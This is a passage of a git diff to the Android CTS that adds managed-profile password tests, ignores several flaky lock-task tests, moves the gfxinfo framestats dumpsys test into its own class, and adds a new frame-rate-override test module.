+ public void setUp() throws Exception {
+ super.setUp();
+
+ // We need managed users to be supported in order to create a profile of the user owner.
+ mHasFeature &= hasDeviceFeature("android.software.managed_users");
+
+ if (mHasFeature) {
+ removeTestUsers();
+ mParentUserId = mPrimaryUserId;
+ createManagedProfile();
+ }
+ }
+
+ private void createManagedProfile() throws Exception {
+ mUserId = createManagedProfile(mParentUserId);
+ switchUser(mParentUserId);
+ startUserAndWait(mUserId);
+
+ installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+ setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+ startUserAndWait(mUserId);
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ if (mHasFeature) {
+ removeUser(mUserId);
+ }
+ super.tearDown();
+ }
+
+ @Test
+ public void testPasswordMinimumRestrictions() throws Exception {
+ if (!mHasFeature || !mHasSecureLockScreen) {
+ return;
+ }
+ executeDeviceTestClass(".PasswordMinimumRestrictionsTest");
+ }
+
+ @Test
+ public void testPasswordComplexityAndQuality() throws Exception {
+ if (!mHasFeature || !mHasSecureLockScreen) {
+ return;
+ }
+ executeDeviceTestClass(".PasswordQualityAndComplexityTest");
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
index 6ec9ac8..5d6d8fd 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
@@ -22,6 +22,7 @@
import android.platform.test.annotations.FlakyTest;
import android.platform.test.annotations.LargeTest;
+import org.junit.Ignore;
import org.junit.Test;
/**
@@ -80,6 +81,7 @@
@Override
@FlakyTest(bugId = 140932104)
+ @Ignore("Ignored while migrating to new infrastructure b/175377361")
@Test
public void testLockTaskAfterReboot() throws Exception {
super.testLockTaskAfterReboot();
@@ -87,6 +89,7 @@
@Override
@FlakyTest(bugId = 140932104)
+ @Ignore("Ignored while migrating to new infrastructure b/175377361")
@Test
public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
super.testLockTaskAfterReboot_tryOpeningSettings();
@@ -94,6 +97,7 @@
@Override
@FlakyTest(bugId = 140932104)
+ @Ignore("Ignored while migrating to new infrastructure b/175377361")
@Test
public void testLockTask_exitIfNoLongerAllowed() throws Exception {
super.testLockTask_exitIfNoLongerAllowed();
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
index 1246246..05e20d1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
@@ -91,10 +91,6 @@
if (!mHasFeature) {
return;
}
- if (true) {
- // TODO(b/172376923): currently disabled as PO is not properly set to run lockNow()
- return;
- }
executeProfileOwnerTest("DevicePolicySafetyCheckerIntegrationTest");
}
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 21e9e51..11f24fa 100755
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -718,92 +718,4 @@
assertInteger(parts[13]); // unoptimizedScanMaxTime
assertInteger(parts[14]); // unoptimizedScanMaxTimeBg
}
-
- /**
- * Tests the output of "dumpsys gfxinfo framestats".
- *
- * @throws Exception
- */
- public void testGfxinfoFramestats() throws Exception {
- final String MARKER = "---PROFILEDATA---";
-
- try {
- // cleanup test apps that might be installed from previous partial test run
- getDevice().uninstallPackage(TEST_PKG);
-
- // install the test app
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- File testAppFile = buildHelper.getTestFile(TEST_APK);
- String installResult = getDevice().installPackage(testAppFile, false);
- assertNull(
- String.format("failed to install atrace test app. Reason: %s", installResult),
- installResult);
-
- getDevice().executeShellCommand("am start -W " + TEST_PKG);
-
- String frameinfo = mDevice.executeShellCommand("dumpsys gfxinfo " +
- TEST_PKG + " framestats");
- assertNotNull(frameinfo);
- assertTrue(frameinfo.length() > 0);
- int profileStart = frameinfo.indexOf(MARKER);
- int profileEnd = frameinfo.indexOf(MARKER, profileStart + 1);
- assertTrue(profileStart >= 0);
- assertTrue(profileEnd > profileStart);
- String profileData = frameinfo.substring(profileStart + MARKER.length(), profileEnd);
- assertTrue(profileData.length() > 0);
- validateProfileData(profileData);
- } finally {
- getDevice().uninstallPackage(TEST_PKG);
- }
- }
-
- private void validateProfileData(String profileData) throws IOException {
- final int TIMESTAMP_COUNT = 16;
- boolean foundAtLeastOneRow = false;
- try (BufferedReader reader = new BufferedReader(
- new StringReader(profileData))) {
- String line;
- // First line needs to be the headers
- while ((line = reader.readLine()) != null && line.isEmpty()) {}
-
- assertNotNull(line);
- assertTrue("First line was not the expected header",
- line.startsWith("Flags,FrameTimelineVsyncId,IntendedVsync,Vsync" +
- ",OldestInputEvent,NewestInputEvent,HandleInputStart" +
- ",AnimationStart,PerformTraversalsStart,DrawStart,FrameDeadline" +
- ",SyncQueued,SyncStart,IssueDrawCommandsStart,SwapBuffers" +
- ",FrameCompleted"));
-
- long[] numparts = new long[TIMESTAMP_COUNT];
- while ((line = reader.readLine()) != null && !line.isEmpty()) {
-
- String[] parts = line.split(",");
- assertTrue(parts.length >= TIMESTAMP_COUNT);
- for (int i = 0; i < TIMESTAMP_COUNT; i++) {
- numparts[i] = assertInteger(parts[i]);
- }
- // Flags = 1 just means the first frame of the window
- if (numparts[0] != 0 && numparts[0] != 1) {
- continue;
- }
- // assert VSYNC >= INTENDED_VSYNC
- assertTrue(numparts[3] >= numparts[2]);
- // assert time is flowing forwards, skipping index 4 & 5
- // as those are input timestamps that may or may not be present
- assertTrue(numparts[6] >= numparts[3]);
- for (int i = 7; i < TIMESTAMP_COUNT; i++) {
- assertTrue("Index " + i + " did not flow forward, " +
- numparts[i] + " not larger than " + numparts[i - 1],
- numparts[i] >= numparts[i-1]);
- }
- long totalDuration = numparts[15] - numparts[2];
- assertTrue("Frame did not take a positive amount of time to process",
- totalDuration > 0);
- assertTrue("Bogus frame duration, exceeds 100 seconds",
- totalDuration < 100000000000L);
- foundAtLeastOneRow = true;
- }
- }
- assertTrue(foundAtLeastOneRow);
- }
}
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java
new file mode 100755
index 0000000..5efc434
--- /dev/null
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.dumpsys.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.StringReader;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Test to check the format of the dumps of the gfxinfo.
+ */
+public class GfxInfoDumpsysTest extends BaseDumpsysTest {
+ private static final String TEST_APK = "CtsFramestatsTestApp.apk";
+ private static final String TEST_PKG = "com.android.cts.framestatstestapp";
+
+ /**
+ * Tests the output of "dumpsys gfxinfo framestats".
+ *
+ * @throws Exception
+ */
+ public void testGfxinfoFramestats() throws Exception {
+ final String MARKER = "---PROFILEDATA---";
+
+ try {
+ // cleanup test apps that might be installed from previous partial test run
+ getDevice().uninstallPackage(TEST_PKG);
+
+ // install the test app
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ File testAppFile = buildHelper.getTestFile(TEST_APK);
+ String installResult = getDevice().installPackage(testAppFile, false);
+ assertNull(
+ String.format("failed to install atrace test app. Reason: %s", installResult),
+ installResult);
+
+ getDevice().executeShellCommand("am start -W " + TEST_PKG);
+
+ String frameinfo = mDevice.executeShellCommand("dumpsys gfxinfo " +
+ TEST_PKG + " framestats");
+ assertNotNull(frameinfo);
+ assertTrue(frameinfo.length() > 0);
+ int profileStart = frameinfo.indexOf(MARKER);
+ int profileEnd = frameinfo.indexOf(MARKER, profileStart + 1);
+ assertTrue(profileStart >= 0);
+ assertTrue(profileEnd > profileStart);
+ String profileData = frameinfo.substring(profileStart + MARKER.length(), profileEnd);
+ assertTrue(profileData.length() > 0);
+ validateProfileData(profileData);
+ } finally {
+ getDevice().uninstallPackage(TEST_PKG);
+ }
+ }
+
+ private void validateProfileData(String profileData) throws IOException {
+ final int TIMESTAMP_COUNT = 16;
+ boolean foundAtLeastOneRow = false;
+ try (BufferedReader reader = new BufferedReader(
+ new StringReader(profileData))) {
+ String line;
+ // First line needs to be the headers
+ while ((line = reader.readLine()) != null && line.isEmpty()) {}
+
+ assertNotNull(line);
+ assertTrue("First line was not the expected header",
+ line.startsWith("Flags,FrameTimelineVsyncId,IntendedVsync,Vsync" +
+ ",OldestInputEvent,NewestInputEvent,HandleInputStart" +
+ ",AnimationStart,PerformTraversalsStart,DrawStart,FrameDeadline" +
+ ",SyncQueued,SyncStart,IssueDrawCommandsStart,SwapBuffers" +
+ ",FrameCompleted"));
+
+ long[] numparts = new long[TIMESTAMP_COUNT];
+ while ((line = reader.readLine()) != null && !line.isEmpty()) {
+
+ String[] parts = line.split(",");
+ assertTrue(parts.length >= TIMESTAMP_COUNT);
+ for (int i = 0; i < TIMESTAMP_COUNT; i++) {
+ numparts[i] = assertInteger(parts[i]);
+ }
+ // Flags = 1 just means the first frame of the window
+ if (numparts[0] != 0 && numparts[0] != 1) {
+ continue;
+ }
+
+ // assert time is flowing forwards. we need to check each entry explicitly
+ // as some entries do not represent a flow of events.
+ assertTrue("VSYNC happened before INTENDED_VSYNC",
+ numparts[3] >= numparts[2]);
+ assertTrue("HandleInputStart happened before VSYNC",
+ numparts[6] >= numparts[3]);
+ assertTrue("AnimationStart happened before HandleInputStart",
+ numparts[7] >= numparts[6]);
+ assertTrue("PerformTraversalsStart happened before AnimationStart",
+ numparts[8] >= numparts[7]);
+ assertTrue("DrawStart happened before PerformTraversalsStart",
+ numparts[9] >= numparts[8]);
+ assertTrue("SyncQueued happened before DrawStart",
+ numparts[11] >= numparts[9]);
+ assertTrue("SyncStart happened before SyncQueued",
+ numparts[12] >= numparts[11]);
+ assertTrue("IssueDrawCommandsStart happened before SyncStart",
+ numparts[13] >= numparts[12]);
+ assertTrue("SwapBuffers happened before IssueDrawCommandsStart",
+ numparts[14] >= numparts[13]);
+ assertTrue("FrameCompleted happened before SwapBuffers",
+ numparts[15] >= numparts[14]);
+
+ // total duration is from IntendedVsync to FrameCompleted
+ long totalDuration = numparts[15] - numparts[2];
+ assertTrue("Frame did not take a positive amount of time to process",
+ totalDuration > 0);
+ assertTrue("Bogus frame duration, exceeds 100 seconds",
+ totalDuration < 100000000000L);
+ foundAtLeastOneRow = true;
+ }
+ }
+ assertTrue(foundAtLeastOneRow);
+ }
+}
diff --git a/hostsidetests/graphics/framerateoverride/Android.bp b/hostsidetests/graphics/framerateoverride/Android.bp
new file mode 100644
index 0000000..9dd24e5
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsFrameRateOverrideTestCases",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "guava",
+ ],
+ static_libs:["CompatChangeGatingTestBase"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ java_resources: [":cts-global-compat-config"],
+}
+
+
+
diff --git a/hostsidetests/graphics/framerateoverride/AndroidTest.xml b/hostsidetests/graphics/framerateoverride/AndroidTest.xml
new file mode 100644
index 0000000..1b673fc
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS framerateoverride host test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsFrameRateOverrideTestCases.jar" />
+ </test>
+</configuration>
diff --git a/hostsidetests/graphics/framerateoverride/OWNERS b/hostsidetests/graphics/framerateoverride/OWNERS
new file mode 100644
index 0000000..0e1e92c
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 25423
+adyabr@google.com
+stoza@google.com
+
diff --git a/hostsidetests/graphics/framerateoverride/TEST_MAPPING b/hostsidetests/graphics/framerateoverride/TEST_MAPPING
new file mode 100644
index 0000000..c9825c6
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/TEST_MAPPING
@@ -0,0 +1,8 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsFrameRateOverrideTestCases"
+ }
+ ]
+}
+
diff --git a/hostsidetests/graphics/framerateoverride/app/Android.bp b/hostsidetests/graphics/framerateoverride/app/Android.bp
new file mode 100644
index 0000000..30790bf
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/Android.bp
@@ -0,0 +1,45 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsHostsideFrameRateOverrideTestsApp",
+ defaults: ["cts_support_defaults"],
+ platform_apis: true,
+ srcs: ["src/**/*.java"],
+ libs: [
+ "junit",
+ ],
+ static_libs: [
+ "androidx.annotation_annotation",
+ "androidx.core_core",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ctsdeviceutillegacy-axt",
+ "ctstestrunner-axt",
+ "junit",
+ "junit-params",
+ "mockito-target-minus-junit4",
+ "SurfaceFlingerProperties",
+ "testng",
+ "truth-prebuilt",
+ ],
+
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml b/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml
new file mode 100644
index 0000000..97f4d9a
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.graphics.framerateoverride">
+ <!-- targetSdkVersion for this test must be below 30 -->
+ <uses-sdk android:targetSdkVersion="30"/>
+ <application
+ android:debuggable="true">
+ <uses-library android:name="android.test.runner" />
+
+ <activity
+ android:name="com.android.cts.graphics.framerateoverride.FrameRateOverrideTestActivity"
+ android:label="FrameRateCtsActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+ </intent-filter>
+ </activity>
+
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.graphics.framerateoverride" />
+
+</manifest>
diff --git a/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java
new file mode 100644
index 0000000..40aafeb
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.hardware.display.DisplayManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.support.test.uiautomator.UiDevice;
+import android.sysprop.SurfaceFlingerProperties;
+import android.util.Log;
+import android.view.Display;
+import android.view.Window;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.graphics.framerateoverride.FrameRateOverrideTestActivity.FrameRateObserver;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Tests for frame rate override and the behaviour of {@link Display#getRefreshRate()} and
+ * {@link Display.Mode#getRefreshRate()} Api.
+ */
+@RunWith(AndroidJUnit4.class)
+public final class FrameRateOverrideTest {
+ private static final String TAG = "FrameRateOverrideTest";
+ // See b/170503758 for more details
+ private static final long DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID = 170503758;
+
+ // The tolerance within which we consider refresh rates are equal
+ private static final float REFRESH_RATE_TOLERANCE = 0.01f;
+
+ private int mInitialMatchContentFrameRate;
+ private DisplayManager mDisplayManager;
+
+
+ @Rule
+ public ActivityTestRule<FrameRateOverrideTestActivity> mActivityRule =
+ new ActivityTestRule<>(FrameRateOverrideTestActivity.class);
+
+ @Before
+ public void setUp() throws Exception {
+ final UiDevice uiDevice =
+ UiDevice.getInstance(
+ androidx.test.platform.app.InstrumentationRegistry.getInstrumentation());
+ uiDevice.wakeUp();
+ uiDevice.executeShellCommand("wm dismiss-keyguard");
+
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.LOG_COMPAT_CHANGE,
+ Manifest.permission.READ_COMPAT_CHANGE_CONFIG,
+ Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE,
+ Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS);
+
+ mDisplayManager = mActivityRule.getActivity().getSystemService(DisplayManager.class);
+ mInitialMatchContentFrameRate = mDisplayManager.getRefreshRateSwitchingType();
+ mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
+ mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+ boolean changeIsEnabled =
+ CompatChanges.isChangeEnabled(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID);
+ Log.e(TAG, "DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID is "
+ + (changeIsEnabled ? "enabled" : "disabled"));
+ }
+
+ @After
+ public void tearDown() {
+ mDisplayManager.setRefreshRateSwitchingType(mInitialMatchContentFrameRate);
+ mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
+ private void setMode(Display.Mode mode) {
+ Handler handler = new Handler(Looper.getMainLooper());
+ handler.post(() -> {
+ Window window = mActivityRule.getActivity().getWindow();
+ WindowManager.LayoutParams params = window.getAttributes();
+ params.preferredDisplayModeId = mode.getModeId();
+ window.setAttributes(params);
+ });
+
+ }
+
+ private static boolean areEqual(float a, float b) {
+ return Math.abs(a - b) <= REFRESH_RATE_TOLERANCE;
+ }
+
+ // Find refresh rates where the device also natively supports half that rate with the same
+ // resolution (for example, a 120Hz mode when the device also supports a 60Hz mode).
+ private List<Display.Mode> getModesToTest() {
+ List<Display.Mode> modesToTest = new ArrayList<>();
+ if (!SurfaceFlingerProperties.enable_frame_rate_override().orElse(true)) {
+ return modesToTest;
+ }
+ Display.Mode[] modes = mActivityRule.getActivity().getDisplay().getSupportedModes();
+ for (Display.Mode mode : modes) {
+ for (Display.Mode otherMode : modes) {
+ if (mode.getModeId() == otherMode.getModeId()) {
+ continue;
+ }
+
+ if (mode.getPhysicalHeight() != otherMode.getPhysicalHeight()
+ || mode.getPhysicalWidth() != otherMode.getPhysicalWidth()) {
+ continue;
+ }
+
+ if (areEqual(mode.getRefreshRate(), 2 * otherMode.getRefreshRate())) {
+ modesToTest.add(mode);
+ }
+ }
+ }
+
+ return modesToTest;
+ }
+
+ private void testFrameRateOverride(FrameRateObserver frameRateObserver)
+ throws InterruptedException {
+ FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+ for (Display.Mode mode : getModesToTest()) {
+ setMode(mode);
+ activity.testFrameRateOverride(frameRateObserver, mode.getRefreshRate());
+ }
+ }
+
+ /**
+ * Test run by
+ * FrameRateOverrideHostTest.testBackpressureDisplayModeReturnsPhysicalRefreshRateEnabled and
+ * FrameRateOverrideHostTest.testBackpressureDisplayModeReturnsPhysicalRefreshRateDisabled
+ */
+ @Test
+ public void testBackpressure()
+ throws InterruptedException {
+ FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+ testFrameRateOverride(activity.new BackpressureFrameRateObserver());
+ }
+
+ /**
+ * Test run by
+ * FrameRateOverrideHostTest.testChoreographerDisplayModeReturnsPhysicalRefreshRateEnabled and
+ * FrameRateOverrideHostTest.testChoreographerDisplayModeReturnsPhysicalRefreshRateDisabled
+ */
+ @Test
+ public void testChoreographer()
+ throws InterruptedException {
+ FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+ testFrameRateOverride(activity.new ChoreographerFrameRateObserver());
+ }
+
+ /**
+ * Test run by
+ * FrameRateOverrideHostTest
+ * .testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled
+ * and
+ * FrameRateOverrideHostTest
+ * .testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled
+ */
+ @Test
+ public void testDisplayGetRefreshRate()
+ throws InterruptedException {
+ FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+ testFrameRateOverride(activity.new DisplayGetRefreshRateFrameRateObserver());
+ }
+
+ /**
+ * Test run by
+ * FrameRateOverrideHostTest
+ * .testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled
+ */
+ @Test
+ public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+ throws InterruptedException {
+ FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+ testFrameRateOverride(
+ activity.new DisplayModeGetRefreshRateFrameRateObserver(
+ /*displayModeReturnsPhysicalRefreshRateEnabled*/ true));
+ }
+
+ /**
+ * Test run by
+ * FrameRateOverrideHostTest
+ * .testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled
+ */
+ @Test
+ public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+ throws InterruptedException {
+ FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+ testFrameRateOverride(
+ activity.new DisplayModeGetRefreshRateFrameRateObserver(
+ /*displayModeReturnsPhysicalRefreshRateEnabled*/ false));
+ }
+}
diff --git a/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java
new file mode 100644
index 0000000..ccfefe8
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java
@@ -0,0 +1,501 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Choreographer;
+import android.view.Surface;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+import android.view.ViewGroup;
+
+import java.util.ArrayList;
+
+/**
+ * An Activity to help with frame rate testing.
+ */
+public class FrameRateOverrideTestActivity extends Activity {
+ private static final String TAG = "FrameRateOverrideTestActivity";
+ private static final long FRAME_RATE_SWITCH_GRACE_PERIOD_NANOSECONDS = 2 * 1_000_000_000L;
+ private static final long STABLE_FRAME_RATE_WAIT_NANOSECONDS = 1 * 1_000_000_000L;
+ private static final long POST_BUFFER_INTERVAL_NANOSECONDS = 500_000_000L;
+ private static final int PRECONDITION_WAIT_MAX_ATTEMPTS = 5;
+ private static final long PRECONDITION_WAIT_TIMEOUT_NANOSECONDS = 20 * 1_000_000_000L;
+ private static final long PRECONDITION_VIOLATION_WAIT_TIMEOUT_NANOSECONDS = 3 * 1_000_000_000L;
+ private static final float FRAME_RATE_TOLERANCE = 0.01f;
+ private static final float FPS_TOLERANCE_FOR_FRAME_RATE_OVERRIDE = 5;
+ private static final long FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS = 1 * 1_000_000_000L;
+ private static final long FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS = 10 * 1_000_000_000L;
+
+ private DisplayManager mDisplayManager;
+ private SurfaceView mSurfaceView;
+ private Handler mHandler = new Handler(Looper.getMainLooper());
+ private Object mLock = new Object();
+ private Surface mSurface = null;
+ private float mReportedDisplayRefreshRate;
+ private float mReportedDisplayModeRefreshRate;
+ private ArrayList<Float> mRefreshRateChangedEvents = new ArrayList<Float>();
+
+ private long mLastBufferPostTime;
+
+ SurfaceHolder.Callback mSurfaceHolderCallback = new SurfaceHolder.Callback() {
+ @Override
+ public void surfaceCreated(SurfaceHolder holder) {
+ synchronized (mLock) {
+ mSurface = holder.getSurface();
+ mLock.notify();
+ }
+ }
+
+ @Override
+ public void surfaceDestroyed(SurfaceHolder holder) {
+ synchronized (mLock) {
+ mSurface = null;
+ mLock.notify();
+ }
+ }
+
+ @Override
+ public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
+ }
+ };
+
+ DisplayManager.DisplayListener mDisplayListener = new DisplayManager.DisplayListener() {
+ @Override
+ public void onDisplayAdded(int displayId) {
+ }
+
+ @Override
+ public void onDisplayChanged(int displayId) {
+ synchronized (mLock) {
+ float refreshRate = getDisplay().getRefreshRate();
+ float displayModeRefreshRate = getDisplay().getMode().getRefreshRate();
+ if (refreshRate != mReportedDisplayRefreshRate
